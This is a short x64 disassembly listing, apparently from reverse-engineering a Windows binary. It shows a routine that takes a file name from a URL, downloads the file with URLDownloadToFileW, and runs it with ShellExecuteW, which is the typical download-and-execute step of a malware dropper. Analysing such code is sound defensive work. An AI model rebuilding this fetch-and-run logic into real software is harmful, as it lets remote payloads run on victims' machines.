call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov edx, 0x2f
lea rcx, [rbp + 0x770]
call qword [sym.imp.ntdll.dll_wcsrchr]
mov rdx, rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x70]
xor r9d, r9d
lea rdx, [rbp + 0x770]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x1800055e1
mov eax, dword [rbp + 0xf88]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x28], eax
lea rdx, str.open
and qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, qword [rsp + 0x1090]
xor eax, eax
add rsp, 0x1070
pop rbp
ret